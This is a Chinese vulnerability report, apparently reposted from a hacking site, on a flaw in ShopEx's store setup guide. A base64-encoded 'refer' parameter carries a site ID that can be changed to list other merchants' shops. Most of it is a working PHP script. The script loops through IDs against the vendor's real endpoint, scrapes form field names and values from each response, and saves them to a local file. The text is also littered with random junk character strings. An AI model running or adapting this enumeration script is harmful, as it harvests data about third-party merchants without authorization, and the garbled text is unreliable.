ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
7 P4 l+ p: H3 z1 E% A问题出现在shopex 网店使用向导页面

) a2 C4 V( a/ L2 R3 a& G  h3 z# q
( Q% L8 f9 w8 @" {8 @
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
$ X$ |0 n3 s; v+ s0 T3 K) ~; ?

7 W7 P% w* k5 |( L' R
4 p; Q1 @- D$ J$ ~5 N  i9 qrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


# I5 G8 j9 ~" A' y5 R( _/ B
6 N- f) o6 l7 Y7 o( S我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


% d3 C# r8 y: ^- O1 n
<?php

                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
0 C" V) _. q, p" n, L2 h6 n
                }
6 W4 E: R: {  Q" j+ o
6 T& }% z' E: o& g# h                function ShowshopExD($cid) {
; v# Q6 ^: t8 y& k: L9 [
                $url='http://guide.ecos.shopex.cn/step2.php';
6 `3 M  Q; t9 S8 q+ b" L
' }5 v) i" f. f( j9 ^. E- ^8 C                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
/ q5 `# e  j8 F
, e4 \6 w6 s; p9 r        $url = $url.'?refer='.$refer;
( x6 \0 l6 x) t
3 y2 @# o# B. Y        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

+ y' p1 B6 J  z% A( h3 d        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
7 Y/ l  J. ]& w
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

8 i0 K; y! N  H* o        if(strpos($result,$refer))
4 d2 q$ |( Z7 S$ K2 b. q
$ \: `! g% e8 Y+ I. ], e        {

4 z, k) }6 f9 X8 g1 G9 A( j& S                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
; j1 w# g* O0 N0 {  w0 m
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

( B3 n! y! k: ^; e. f                foreach ($value[1] as $key) {

  E+ m# t  i5 `                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
2 n& p3 u; q" L$ k! \6 h) ~
+ ^( [$ T$ Y; D) z                        echo $res[1][0].':'.$res[3][0]."\r\n";

9 f* `, b* s1 L; z                        $col =$res[1][0].':'.$res[3][0]."\r\n";
' o/ X# H/ D$ v( F, t9 o) t
                        fwrite($fp, $col, strlen($col));
. F$ \4 D# v2 f9 p  j! h
                }
- Z1 s: F! C1 n5 B) b( y
1 j* P5 ~5 @* W' A2 e                echo '--------------------------------'."\r\n";

/ ?* A: H. b6 D  [1 ?7 d                fclose($fp);
6 u0 U8 F: e! V( T* |
9 P/ ]9 q9 l7 |! a8 {        }
% Q! l8 V4 n  Y# V. ]; Z) C
        flush();

* X( ~( @" a1 O1 X& m+ ~  I        curl_close($ch);
" L8 G" e& p- ], \
                }
$ Z8 w+ g& m7 y- @4 D- O  B
9 ^8 [, q$ m0 z6 k8 ?) c3 W?>
* `) b& y' m( P& x: T3 C0 C) V: A% Y漏洞证明：
' }+ _5 a  n' r0 ]) E: I, Q+ lhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
$ i5 S4 _" a% u1 z! i